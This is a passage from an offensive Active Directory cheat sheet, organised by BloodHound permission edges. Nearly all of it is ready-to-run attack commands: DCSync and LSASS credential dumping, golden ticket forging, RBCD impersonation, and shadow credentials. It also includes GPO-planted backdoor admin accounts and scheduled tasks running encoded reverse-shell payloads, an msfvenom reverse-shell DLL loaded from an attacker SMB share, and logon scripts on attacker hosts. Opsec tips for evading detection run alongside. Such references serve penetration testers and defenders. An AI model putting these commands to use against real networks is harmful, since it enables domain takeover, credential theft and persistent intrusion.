/user:krbtgt) to limit volume of 4662 events - Use Kerberos (
-k) instead of NTLM for secretsdump to reduce credential-based alerts - ExtraSids attack (cross-domain trust escalation): add target domain's Enterprise Admins SID to forged ticket
ExecuteDCOM
Principal has the right to execute DCOM objects on the target computer, enabling remote code execution.
Applies to: User/Group β Computer
Linux Abuse
dcomexec.py (password)
dcomexec.py <domain>/<username>:'<password>'@<target>
dcomexec.py (pass-the-hash)
dcomexec.py -hashes :<ntlm-hash> <domain>/<username>@<target>
dcomexec.py (specific DCOM object)
# Objects: MMC20, ShellWindows, ShellBrowserWindow (default: MMC20)
dcomexec.py -object MMC20 <domain>/<username>:'<password>'@<target> 'whoami'
dcomexec.py -object ShellWindows <domain>/<username>:'<password>'@<target> 'whoami'
dcomexec.py (Kerberos)
KRB5CCNAME=<ccache> dcomexec.py -k -no-pass <domain>/<username>@<target>
Windows Abuse
MMC20.Application
$com = [Activator]::CreateInstance([Type]::GetTypeFromProgID("MMC20.Application","<target>"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\output.txt","7")
ShellWindows
$com = [Activator]::CreateInstance([Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","<target>"))
$item = $com.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c whoami > C:\output.txt","C:\Windows\System32",$null,0)
ShellBrowserWindow
$com = [Activator]::CreateInstance([Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","<target>"))
$com.Document.Application.ShellExecute("cmd.exe","/c whoami > C:\output.txt","C:\Windows\System32",$null,0)
Opsec
- DCOM uses port 135 (RPC endpoint mapper) + dynamic high ports
- Spawns child processes under
mmc.exe,explorer.exe, orsvchost.exedepending on object used - ShellWindows/ShellBrowserWindow require an existing Explorer session on target (typically works on workstations, not servers)
- Generates Event ID 4624 (logon type 3) β no dedicated DCOM event log
ForceChangePassword
Source can reset target user's password without knowing the current password
Applies to: User/Group/Computer β User
Linux Abuse
bloodyAD
bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> set password <target-user> '<new-password>'
impacket net rpc
net rpc password <target-user> '<new-password>' -U <domain>/<username>%'<password>' -S <dc-ip>
With hash (pass-the-hash)
bloodyad -u <username> --hashes :<ntlm-hash> -d <domain> --host <dc-ip> set password <target-user> '<new-password>'
Via LDAP (ldapmodify β requires knowing unicodePwd encoding)
python3 -c "
import ldap3, ssl
from ldap3 import Server, Connection, MODIFY_REPLACE
s = Server('<dc-ip>', use_ssl=True)
c = Connection(s, '<domain>\\\\<username>', '<password>', auto_bind=True)
new_pass = '\"<new-password>\"'.encode('utf-16-le')
c.modify('CN=<target-user>,CN=Users,DC=<domain>,DC=<tld>',
{'unicodePwd': [(MODIFY_REPLACE, [new_pass])]})
print(c.result)
"
Windows Abuse
PowerView
$pass = ConvertTo-SecureString '<new-password>' -AsPlainText -Force
Set-DomainUserPassword -Identity <target-user> -AccountPassword $pass -Credential $cred
CMD / net.exe
net user <target-user> <new-password> /domain
RPC (runas context)
$cred = New-Object System.Management.Automation.PSCredential('<domain>\<username>', (ConvertTo-SecureString '<password>' -AsPlainText -Force))
Invoke-Command -ComputerName <dc-ip> -Credential $cred -ScriptBlock {
Set-ADAccountPassword -Identity '<target-user>' -Reset -NewPassword (ConvertTo-SecureString '<new-password>' -AsPlainText -Force)
}
Opsec
- Generates event 4723 (change attempt by account) and 4724 (reset by admin) on the DC
- The target user will notice their password changed on next login β use quickly or combine with a persistence mechanism
GenericAll
Source has full control over target object β equivalent to ownership
Applies to: User β User, User β Group, User β Computer, Group β any, Computer β any
Linux Abuse
Target: User β password reset
bloodyAD
bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> set password <target-user> '<new-password>'
Impacket
net rpc password <target-user> '<new-password>' -U <domain>/<username>%'<password>' -S <dc-ip>
Target: User β shadow credentials (no password reset needed)
certipy-ad shadow auto -u <username>@<domain> -p '<password>' -account <target-user> -dc-ip <dc-ip>
Target: User β targeted Kerberoast (set SPN then roast)
bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> set object <target-user> servicePrincipalName -v '<spn>'
GetUserSPNs.py <domain>/<username>:'<password>' -dc-ip <dc-ip> -request-user <target-user> -outputfile hashes.txt
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
Target: Group β add member
bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> add groupMember '<target-group>' '<username>'
Target: Computer β shadow credentials β RBCD or S4U2Self
certipy-ad shadow auto -u <username>@<domain> -p '<password>' -account <target-computer$> -dc-ip <dc-ip>
# certipy outputs NT hash; use with getST.py or pass-the-hash
Target: Computer β RBCD (Resource-Based Constrained Delegation)
# 1. Get/create a computer account we control
addcomputer.py -computer-name 'ATTACKPC$' -computer-pass '<new-password>' -dc-ip <dc-ip> '<domain>/<username>:<password>'
# 2. Write msDS-AllowedToActOnBehalfOfOtherIdentity on target
rbcd.py -f ATTACKPC -t <target-computer> -dc-ip <dc-ip> '<domain>/<username>:<password>'
# 3. Get service ticket impersonating admin
getST.py -spn cifs/<target-computer>.<domain> -impersonate Administrator -dc-ip <dc-ip> '<domain>/ATTACKPC$:<new-password>'
export KRB5CCNAME=Administrator@cifs_<target-computer>.<domain>@<domain>.ccache
# 4. Use ticket
secretsdump.py -k -no-pass <target-computer>.<domain>
Target: GPO β modify GPO via pyGPOAbuse
# GenericAll over a GPO object
python3 pygpoabuse.py <domain>/<username>:'<password>' -gpo-id '<gpo-guid>' -dc-ip <dc-ip> \
-powershell -command "net user backdoor P@ssw0rd123 /add && net localgroup administrators backdoor /add" \
-taskname 'Backdoor' -description 'update'
Target: Domain β DCSync
dacledit.py -action write -rights DCSync -principal <username> -target-dn 'DC=<domain>,DC=<tld>' \
'<domain>/<username>:<password>' -dc-ip <dc-ip>
secretsdump.py '<domain>/<username>:<password>' -dc-ip <dc-ip>
Windows Abuse
Target: User β password reset
$cred = Get-Credential # or build manually
$pass = ConvertTo-SecureString '<new-password>' -AsPlainText -Force
Set-DomainUserPassword -Identity <target-user> -AccountPassword $pass -Credential $cred
Target: User β shadow credentials
# Whisker
Whisker.exe add /target:<target-user> /domain:<domain> /dc:<dc-ip>
# Whisker outputs Rubeus command β run it to get TGT + NT hash
Target: Group β add member
Add-DomainGroupMember -Identity '<target-group>' -Members '<username>' -Credential $cred
# or
net group "<target-group>" <username> /add /domain
Target: Computer β RBCD
# Requires PowerMad + PowerView
$AttackerSID = Get-DomainComputer 'ATTACKPC$' -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$AttackerSID)"
$SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer <target-computer> | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
Target: GPO
# SharpGPOAbuse
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount <username> --GPOName "<gpo-name>"
SharpGPOAbuse.exe --AddComputerScript --ScriptName evil.ps1 --ScriptContents "..." --GPOName "<gpo-name>"
Rubeus (shadow creds β NT hash)
Rubeus.exe asktgt /user:<target-user> /certificate:<base64-pfx> /password:<pfx-pass> /nowrap /getcredentials
Opsec
- Password resets generate event 4723/4724 (logged on DC) β noisy
- RBCD and shadow credentials are quieter; prefer them when target is a user or computer
GenericWrite
Source can write to any non-protected attribute on the target object
Applies to: User/Group/Computer β User, Group, Computer
Linux Abuse
Target: User β shadow credentials (preferred, stealthy)
certipy-ad shadow auto -u <username>@<domain> -p '<password>' -account <target-user> -dc-ip <dc-ip>
# Outputs NT hash β use for PTH or request TGT
Target: User β targeted Kerberoast (write servicePrincipalName)
bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> \
set object <target-user> servicePrincipalName -v 'http/fake.corp.local'
GetUserSPNs.py <domain>/<username>:'<password>' -dc-ip <dc-ip> -request-user <target-user> -outputfile hash.txt
# Cleanup:
bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> \
remove object <target-user> servicePrincipalName -v 'http/fake.corp.local'
Target: User β write logon script
bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> \
set object <target-user> scriptPath -v '\\<attacker-ip>\share\evil.bat'
Target: Group β add member (write member attribute)
bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> \
add groupMember '<target-group>' '<username>'
Target: Computer β shadow credentials
certipy-ad shadow auto -u <username>@<domain> -p '<password>' -account <target-computer$> -dc-ip <dc-ip>
Target: Computer β RBCD (write msDS-AllowedToActOnBehalfOfOtherIdentity)
# 1. Create attacker computer account
addcomputer.py -computer-name 'ATTACKPC$' -computer-pass '<new-password>' -dc-ip <dc-ip> '<domain>/<username>:<password>'
# 2. Write RBCD attribute
rbcd.py -f ATTACKPC -t <target-computer> -dc-ip <dc-ip> '<domain>/<username>:<password>'
# 3. Impersonate admin
getST.py -spn cifs/<target-computer>.<domain> -impersonate Administrator -dc-ip <dc-ip> '<domain>/ATTACKPC$:<new-password>'
export KRB5CCNAME=Administrator@cifs_<target-computer>.<domain>@<domain>.ccache
secretsdump.py -k -no-pass <target-computer>.<domain>
Windows Abuse
Target: User β shadow credentials
# Whisker
Whisker.exe add /target:<target-user> /domain:<domain> /dc:<dc-ip>
Target: User β targeted Kerberoast
Set-DomainObject -Identity <target-user> -Set @{serviceprincipalname='http/fake'} -Credential $cred
Get-DomainSPNTicket -Identity <target-user> -OutputFormat Hashcat | Select-Object -Expand Hash
# Cleanup:
Set-DomainObject -Identity <target-user> -Clear serviceprincipalname -Credential $cred
Target: Group β add member
Add-DomainGroupMember -Identity '<target-group>' -Members '<username>' -Credential $cred
Target: Computer β RBCD
$AttackerSID = Get-DomainComputer 'ATTACKPC$' -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$AttackerSID)"
$SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer <target-computer> | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
Rubeus β RBCD S4U2Self
Rubeus.exe s4u /user:ATTACKPC$ /rc4:<ntlm-hash> /impersonateuser:Administrator /msdsspn:cifs/<target-computer>.<domain> /nowrap
Opsec
- SPN writes for Kerberoasting are logged (LDAP modify on target object); clean up the SPN after roasting
- Shadow credentials (msDS-KeyCredentialLink write) leave an artifact in the attribute β clean with
certipy-ad shadow clear
GetChanges
Source principal holds the DS-Replication-Get-Changes extended right on the domain object. Alone this is not abuseable β requires GetChangesAll to perform DCSync.
Applies to: User/Group/Computer β Domain
This edge is not exploitable alone. Combine with
GetChangesAllβ enables DCSync. Combine withGetChangesInFilteredSetβ enables SyncLAPSPassword.
Linux Abuse
Verify current rights (confirm both GetChanges + GetChangesAll present)
bloodyAD -u <username> -p '<password>' -d <domain> --host <dc-ip> get object '<domain-dn>' \
--attr nTSecurityDescriptor
If GetChangesAll is also held β perform DCSync
# Full domain dump
secretsdump.py -outputfile 'dcsync' -dc-ip <dc-ip> '<domain>/<username>:<password>@<dc-ip>'
# Pass-the-Hash
secretsdump.py -outputfile 'dcsync' -hashes ':<ntlm-hash>' -dc-ip <dc-ip> '<domain>/<username>@<dc-ip>'
# Pass-the-Ticket
KRB5CCNAME=<ccache> secretsdump.py -k -no-pass -outputfile 'dcsync' -dc-ip <dc-ip> '<domain>/<username>@<dc-hostname>'
# Single user
secretsdump.py -dc-ip <dc-ip> '<domain>/<username>:<password>@<dc-ip>' -just-dc-user krbtgt
If GetChangesInFilteredSet is also held β SyncLAPSPassword
# Sync LAPS password for a specific computer
secretsdump.py -dc-ip <dc-ip> '<domain>/<username>:<password>@<dc-ip>' -just-dc-user '<target-computer>$'
Windows Abuse
If combined with GetChangesAll β Mimikatz DCSync
mimikatz # lsadump::dcsync /domain:<domain> /user:Administrator
mimikatz # lsadump::dcsync /domain:<domain> /user:krbtgt
mimikatz # lsadump::dcsync /domain:<domain> /all /csv
Invoke-Mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:<domain> /user:krbtgt"'
Check who else holds replication rights (to find additional paths)
$acl = (Get-Acl 'AD:\DC=<domain>,DC=<tld>').Access
$acl | Where-Object { $_.ObjectType -eq '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' } | Select IdentityReference
Opsec
- GetChanges alone is harmless but its presence (combined with GetChangesAll) represents a critical misconfiguration
- Event ID 4662 fires on the DC whenever replication rights are exercised
- Enumerate other principals holding these rights to identify additional paths
GetChangesAll
Source principal holds the DS-Replication-Get-Changes-All extended right on the domain object. Alone this is not abuseable β requires GetChanges to perform DCSync.
Applies to: User/Group/Computer β Domain
This edge is not exploitable alone. Combine with
GetChangesβ enables full DCSync (all password hashes including krbtgt).
Linux Abuse
If GetChanges is also held β full DCSync
# Full domain dump (password auth)
secretsdump.py -outputfile 'dcsync' -dc-ip <dc-ip> '<domain>/<username>:<password>@<dc-ip>'
# Pass-the-Hash
secretsdump.py -outputfile 'dcsync' -hashes ':<ntlm-hash>' -dc-ip <dc-ip> '<domain>/<username>@<dc-ip>'
# Pass-the-Ticket (Kerberos)
KRB5CCNAME=<ccache> secretsdump.py -k -no-pass -outputfile 'dcsync' -dc-ip <dc-ip> '<domain>/<username>@<dc-hostname>'
# Single high-value target
secretsdump.py -dc-ip <dc-ip> '<domain>/<username>:<password>@<dc-ip>' -just-dc-user krbtgt
secretsdump.py -dc-ip <dc-ip> '<domain>/<username>:<password>@<dc-ip>' -just-dc-user Administrator
# NTLM hashes only
secretsdump.py -dc-ip <dc-ip> '<domain>/<username>:<password>@<dc-ip>' -just-dc-ntlm
bloodyAD
bloodyAD -u <username> -p '<password>' -d <domain> --host <dc-ip> get dcSync
bloodyAD -u <username> -H '<ntlm-hash>' -d <domain> --host <dc-ip> get dcSync --user krbtgt
Post-DCSync β Golden Ticket (Linux)
# Get domain SID
lookupsid.py '<domain>/<username>:<password>@<dc-ip>' 0
# Forge golden ticket
ticketer.py -nthash '<krbtgt-ntlm-hash>' -domain-sid '<domain-sid>' -domain '<domain>' 'Administrator'
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass '<domain>/Administrator@<dc-hostname>'
Windows Abuse
Mimikatz DCSync (requires GetChanges also held)
mimikatz # lsadump::dcsync /domain:<domain> /user:krbtgt
mimikatz # lsadump::dcsync /domain:<domain> /user:Administrator
mimikatz # lsadump::dcsync /domain:<domain> /all /csv
Invoke-Mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:<domain> /user:krbtgt"'
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:<domain> /all /csv"'
SharpKatz
.\SharpKatz.exe --Command dcsync --User krbtgt --Domain <domain> --DomainController <dc-hostname>
Post-DCSync β Golden Ticket (Windows)
mimikatz # kerberos::golden /user:Administrator /domain:<domain> /sid:<domain-sid> /krbtgt:<krbtgt-ntlm-hash> /ptt
mimikatz # lsadump::dcsync /domain:<domain> /all /csv
Opsec
- GetChangesAll is the higher-privilege right; it alone doesn't trigger DCSync but its presence combined with GetChanges is the full attack
- Replication traffic originates from attacker IP to DC port 135/445 β non-DC initiators are anomalous
- Event ID 4662 with GUID
1131f6ad-9c07-11d1-f79f-00c04fc2dcd2(GetChangesAll) is a high-fidelity detection signal - Limit scope: request only krbtgt and Administrator to minimize 4662 event volume
GPLink
A GPO is linked to the target OU/Site/Domain. If an attacker controls the GPO, modifications affect all computers and users in scope of the link.
Applies to: GPO β OU/Domain/Site
Note
GPLink is an abuse path when you have write access to the linked GPO (via GenericAll, GenericWrite, or owns the GPO object). Modifications to the GPO affect all computers/users in the linked container.
Linux Abuse
pyGPOAbuse β Add local admin
pygpoabuse <domain>/<username>:'<password>' -gpo-id '<gpo-guid>' -dc-ip <dc-ip> -localadmin <username>
pyGPOAbuse β Scheduled task (reverse shell)
pygpoabuse <domain>/<username>:'<password>' -gpo-id '<gpo-guid>' -dc-ip <dc-ip> -taskname 'Update' -command 'cmd.exe /c powershell -e <base64-payload>' -description 'Windows Update'
pyGPOAbuse β Immediate scheduled task (runs now)
pygpoabuse <domain>/<username>:'<password>' -gpo-id '<gpo-guid>' -dc-ip <dc-ip> -taskname 'Update' -command 'cmd.exe /c whoami > C:\out.txt' -immediate
Get GPO GUID from BloodHound or ldapsearch
ldapsearch -H ldap://<dc-ip> -D '<username>@<domain>' -w '<password>' -b 'DC=<domain>,DC=<tld>' '(objectClass=groupPolicyContainer)' displayName cn
Force group policy refresh on target
# Via wmiexec after gaining access
wmiexec.py <domain>/<username>:'<password>'@<target-computer> 'gpupdate /force'
Windows Abuse
SharpGPOAbuse β Add local admin
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount <username> --GPOName "<gpo-name>"
SharpGPOAbuse β Add user right (e.g., SeDebugPrivilege)
SharpGPOAbuse.exe --AddUserRights --UserRights "SeDebugPrivilege,SeLoadDriverPrivilege" --UserAccount <username> --GPOName "<gpo-name>"
SharpGPOAbuse β Scheduled task for all computers in scope
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author "NT AUTHORITY\SYSTEM" --Command "cmd.exe" --Arguments "/c powershell -e <base64-payload>" --GPOName "<gpo-name>"
SharpGPOAbuse β Scheduled task for all users in scope
SharpGPOAbuse.exe --AddUserTask --TaskName "Update" --Author "NT AUTHORITY\SYSTEM" --Command "cmd.exe" --Arguments "/c powershell -e <base64-payload>" --GPOName "<gpo-name>"
Force GPO refresh (PowerShell)
Invoke-GPUpdate -Computer <target-computer> -Force
Enumerate GPO link targets (PowerView)
Get-DomainGPO -Identity '<gpo-name>' | Get-DomainGPOLinkedOU
Get-DomainOU | Get-DomainGPOLinkedOU
Edit GPO directly (RSAT)
# If you have write rights on the GPO SYSVOL path:
# \\<domain>\SYSVOL\<domain>\Policies\{<gpo-guid>}\Machine\Scripts\Startup\
Copy-Item evil.bat "\\<domain>\SYSVOL\<domain>\Policies\{<gpo-guid>}\Machine\Scripts\Startup\evil.bat"
Opsec
- GPO changes generate Event ID 5136 on the DC
- Policy applies on next refresh interval (default 90 min Β± 30 min for computers, 90 min for users) or immediately with
gpupdate /force - Immediate scheduled tasks run once then delete β lower persistence but fast execution
- SharpGPOAbuse modifies SYSVOL β file write operations are logged by file auditing if enabled
HasSession
Target user has an active session on a computer where the source principal has local admin β harvest credentials or impersonate the target's token.
Applies to: Computer β User (attacker controls Computer, target User has session there)
Linux Abuse
Step 1: Identify sessions (BloodHound / NetExec)
# Find where target user has sessions
netexec smb <subnet>/24 -u <username> -p '<password>' -d <domain> --sessions
# BloodHound query already identifies the computer β proceed directly
Step 2: Dump credentials from target session
# Full credential dump from remote machine (requires local admin)
secretsdump.py '<domain>/<username>:<password>@<session-computer>'
secretsdump.py -hashes ':<ntlm-hash>' '<domain>/<username>@<session-computer>'
# Target specific user's hashes via LSASS modules
netexec smb <session-computer> -u <username> -p '<password>' -d <domain> -M lsassy
netexec smb <session-computer> -u <username> -H '<ntlm-hash>' -d <domain> -M nanodump
netexec smb <session-computer> -u <username> -p '<password>' -d <domain> -M procdump
Step 3: Use recovered hash for lateral movement
# Authenticate as target user
wmiexec.py -hashes ':<target-ntlm-hash>' '<domain>/<target-user>@<target-host>'
evil-winrm -i <dc-ip> -u <target-user> -H '<target-ntlm-hash>'
secretsdump.py -hashes ':<target-ntlm-hash>' '<domain>/<target-user>@<dc-ip>' -just-dc-ntlm
Windows Abuse
Find target sessions (PowerView)
# Find where high-value users have sessions
Find-DomainUserLocation -UserIdentity <target-user>
Invoke-UserHunter -UserName <target-user>
Token impersonation (Invoke-TokenManipulation)
# List available tokens on current system
Invoke-TokenManipulation -Enumerate
# Impersonate target user token
Invoke-TokenManipulation -ImpersonateUser -Username '<domain>\<target-user>'
# Create process with target token
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username '<domain>\<target-user>'
Credential dump on session host (Mimikatz)
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::wdigest
Process injection into target user's process
# Identify target user's processes
Get-Process -IncludeUserName | Where-Object { $_.UserName -like '*<target-user>*' }
# Inject via Cobalt Strike
inject <PID> x64 <listener>
Keylogging / clipboard capture
# PowerSploit clipboard monitor
Invoke-ClipboardMonitor -CollectionLimit 10
Opsec
- LSASS access detected by EDR (Event ID 4656/10 Sysmon); nanodump/indirect syscall variants evade some hooks
sekurlsa::logonpasswordsrequires SeDebugPrivilege β triggers UAC/integrity checks if not already elevated- Token impersonation (T1134) β detectable via Event ID 4624 logon type 9 (NewCredentials)
- Session hunting (Invoke-UserHunter) performs SMB enumeration β noisy on the wire; use
-CheckAccessto limit scope - Users frequently reuse sessions on the same workstation β high probability of success on repeat attempts
HasSIDHistory
Source principal's SIDHistory attribute contains the SID of the target principal β Kerberos tickets for the source will include the target's SID, granting equivalent access rights.
Applies to: User/Computer β User/Group/Domain
If SID history contains a Domain Admins or Enterprise Admins SID (or the target domain's SID), the source principal effectively has those privileges in Kerberos-authenticated contexts. Exploitation depends on whether SID filtering is enabled on the trust.
Linux Abuse
Enumerate SID history
# bloodyAD
bloodyAD -u <username> -p '<password>' -d <domain> --host <dc-ip> get object '<source-user>' \
--attr sIDHistory
# ldapsearch
ldapsearch -x -H ldap://<dc-ip> -D '<username>@<domain>' -w '<password>' \
-b 'DC=<domain>,DC=<tld>' '(sAMAccountName=<source-user>)' sIDHistory
# NetExec
netexec ldap <dc-ip> -u <username> -p '<password>' -d <domain> \
--get-sid-history
Authenticate as source principal and access target's resources
# If source user has SID history of DA/EA β authenticate normally, Kerberos includes the privileged SID
getTGT.py '<domain>/<source-user>:<password>'
export KRB5CCNAME=<source-user>.ccache
# DCSync if SID history contains replication rights SID
secretsdump.py -k -no-pass -dc-ip <dc-ip> '<domain>/<source-user>@<dc-hostname>'
# Access DA-protected resources
wmiexec.py -k -no-pass '<domain>/<source-user>@<target-computer>.<domain>'
smbexec.py -k -no-pass '<domain>/<source-user>@<target-computer>.<domain>'
Cross-domain SID history (inter-forest/trust)
# If trust has SID filtering disabled β SID history crosses trust boundary
# Authenticate to child domain with source user, access parent domain resources
export KRB5CCNAME=<child-domain-user>.ccache
secretsdump.py -k -no-pass -dc-ip <parent-dc-ip> '<parent-domain>/<source-user>@<parent-dc-hostname>'
Golden Ticket with injected SID history (post-DCSync)
# Inject target domain's Enterprise Admins SID into forged ticket
# Requires krbtgt hash of issuing domain
lookupsid.py '<domain>/<username>:<password>@<dc-ip>' 0 # get domain SID
ticketer.py -nthash '<krbtgt-ntlm-hash>' \
-domain-sid '<source-domain-sid>' \
-domain '<source-domain>' \
-extra-sid '<target-domain-sid>-519' \
'Administrator'
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass '<target-domain>/Administrator@<target-dc-hostname>'
Windows Abuse
Verify SID history on an object
Get-ADUser <source-user> -Properties SIDHistory | Select-Object SIDHistory
Get-DomainUser <source-user> -Properties sidhistory
Authenticate and access resources (SID history in PAC is transparent)
# Run as source user β access is granted via SID history automatically in Kerberos PAC
runas /user:<domain>\<source-user> cmd.exe
# Access target domain resources if SID history contains cross-domain privileged SID
ls \\<target-dc>.<target-domain>\c$
Mimikatz β inject SID history into Golden Ticket
mimikatz # lsadump::dcsync /domain:<domain> /user:krbtgt
mimikatz # kerberos::golden /user:Administrator /domain:<source-domain> /sid:<source-domain-sid> \
/krbtgt:<krbtgt-ntlm-hash> /sids:<target-domain-sid>-519 /ptt
Add SID history to an account (requires DA + specific conditions)
# Pre-Windows 2016 (requires Mimikatz with lsass patch)
mimikatz # privilege::debug
mimikatz # sid::patch
mimikatz # sid::add /sam:<attacker-user> /new:<target-sid>
# Windows 2016+ (requires stopping NTDS, DSInternals)
Stop-Service NTDS -Force
Add-ADDBSidHistory -SamAccountName <attacker-user> -SidHistory '<target-sid>' `
-DBPath 'C:\Windows\NTDS\ntds.dit' -Force
Start-Service NTDS
Opsec
- SID history abuse is transparent β source user authenticates normally, privileged SID is in PAC automatically
- Cross-domain SID history is blocked by SID filtering (enabled by default on external trusts, disabled on child/parent trusts within same forest)
- Adding SID history (persistence) requires stopping NTDS service β generates Event ID 7036 (service stop)
- Golden Ticket with ExtraSids: Event ID 4769 with unusual SID in PAC β advanced SIEM rules may catch this
- Intra-forest trusts (parent/child): SID filtering disabled by default β full exploitation path without filtering bypass
- Inter-forest trusts: SID filtering enabled by default β ExtraSids attack blocked unless filtering explicitly disabled
MemberOf
A principal is a member of a group. This edge is structural β it propagates the group's rights to the member.
Applies to: User/Group/Computer β Group
Note
MemberOf is not itself an abuse edge. It means the source object inherits all rights and edges of the target group. The abuse depends on what the group can do.
Common high-value group memberships and their abuse:
Domain Admins / Enterprise Admins
secretsdump (DCSync)
secretsdump.py <domain>/<username>:'<password>'@<dc-ip>
secretsdump.py -hashes :<ntlm-hash> <domain>/<username>@<dc-ip>
wmiexec / psexec to DC
wmiexec.py <domain>/<username>:'<password>'@<dc-ip>
psexec.py <domain>/<username>:'<password>'@<target>
Remote Desktop Users β CanRDP
xfreerdp /u:<username> /p:'<password>' /d:<domain> /v:<target>
Remote Management Users β CanPSRemote
evil-winrm -i <target> -u <username> -p '<password>'
DnsAdmins β DLL injection into DNS service (SYSTEM)
# 1. Build malicious DLL (msfvenom or custom)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker-ip> LPORT=4444 -f dll -o evil.dll
# 2. Host DLL on SMB share
smbserver.py share /path/to/dir
# 3. Set DNS server plugin (requires dnscmd or PowerShell)
dnscmd <dc-ip> /config /serverlevelplugindll \\<attacker-ip>\share\evil.dll
# 4. Restart DNS service (requires SeRemoteShutdownPrivilege or sc)
sc \\<dc-ip> stop dns
sc \\<dc-ip> start dns
PowerShell (Windows)
dnscmd <dc-ip> /config /serverlevelplugindll \\<attacker-ip>\share\evil.dll
# Then restart DNS:
sc.exe \\<dc-ip> stop dns; sc.exe \\<dc-ip> start dns
Backup Operators β Registry dump / shadow copy for NTDS
# Backup Operators can read NTDS via shadow copy
wbadmin start backup -backuptarget:\\<attacker-ip>\share -include:c:\windows\ntds
# Or use BackupOperatorToDA tooling
Account Operators β Create/modify users and add to groups (except DA/EA)
New-ADUser -Name "backdoor" -AccountPassword (ConvertTo-SecureString '<password>' -AsPlainText -Force) -Enabled $true
Add-ADGroupMember -Identity "Remote Desktop Users" -Members "backdoor"
Opsec
- Group membership is resolved at logon token creation β changes require new logon to take effect
- Nested group membership (Group A MemberOf Group B) also propagates β check all ancestor groups in BloodHound
Owns
Source is the owner of the target object; owners implicitly have WriteDacl and can grant themselves any right
Applies to: User/Group/Computer β User, Group, Computer, Domain, GPO
Linux Abuse
Owning an object means you can write to the DACL without needing WriteDacl explicitly.
Grant FullControl on target User, then exploit
# Grant self FullControl (owner can always write DACL)
dacledit.py -action write -rights FullControl \
-principal <username> \
-target-dn 'CN=<target-user>,CN=Users,DC=<domain>,DC=<tld>' \
'<domain>/<username>:<password>' -dc-ip <dc-ip>
# Option 1: Reset password
bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> set password <target-user> '<new-password>'
# Option 2: Shadow credentials
certipy-ad shadow auto -u <username>@<domain> -p '<password>' -account <target-user> -dc-ip <dc-ip>
Grant FullControl on target Group, then add self
dacledit.py -action write -rights FullControl \
-principal <username> \
-target-dn 'CN=<target-group>,CN=Users,DC=<domain>,DC=<tld>' \
'<domain>/<username>:<password>' -dc-ip <dc-ip>
bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> add groupMember '<target-group>' '<username>'
Grant DCSync on Domain object
dacledit.py -action write -rights DCSync \
-principal <username> \
-target-dn 'DC=<domain>,DC=<tld>' \
'<domain>/<username>:<password>' -dc-ip <dc-ip>
secretsdump.py '<domain>/<username>:<password>' -dc-ip <dc-ip>
Target: Computer β RBCD via granted FullControl
dacledit.py -action write -rights FullControl \
-principal <username> \
-target-dn 'CN=<target-computer>,CN=Computers,DC=<domain>,DC=<tld>' \
'<domain>/<username>:<password>' -dc-ip <dc-ip>
addcomputer.py -computer-name 'ATTACKPC$' -computer-pass '<new-password>' -dc-ip <dc-ip> '<domain>/<username>:<password>'
rbcd.py -f ATTACKPC -t <target-computer> -dc-ip <dc-ip> '<domain>/<username>:<password>'
getST.py -spn cifs/<target-computer>.<domain> -impersonate Administrator -dc-ip <dc-ip> '<domain>/ATTACKPC$:<new-password>'
export KRB5CCNAME=Administrator@cifs_<target-computer>.<domain>@<domain>.ccache
secretsdump.py -k -no-pass <target-computer>.<domain>
Windows Abuse
Grant FullControl on target
Add-DomainObjectAcl -TargetIdentity '<target-user>' -PrincipalIdentity '<username>' -Rights All -Credential $cred
Exploit β reset password
Set-DomainUserPassword -Identity <target-user> \
-AccountPassword (ConvertTo-SecureString '<new-password>' -AsPlainText -Force) -Credential $cred
Exploit β DCSync (target is Domain)
Add-DomainObjectAcl -TargetIdentity '<domain>' -PrincipalIdentity '<username>' -Rights DCSync -Credential $cred
# Then run mimikatz or secretsdump
mimikatz DCSync
mimikatz # lsadump::dcsync /domain:<domain> /user:krbtgt
mimikatz # lsadump::dcsync /domain:<domain> /all /csv
Opsec
- DACL writes by an owner account are logged (4670) but appear less suspicious than a non-owner modifying permissions
- DCSync traffic (DrsReplicaSync/DrsGetNCChanges) is detectable via network monitoring β perform from a host that normally replicates if possible
ReadGMSAPassword
Source principal is authorized to read the msDS-ManagedPassword attribute of a Group Managed Service Account (gMSA), yielding its NT hash.
Applies to: User/Group/Computer β Computer (gMSA object)
Linux Abuse
gMSADumper.py
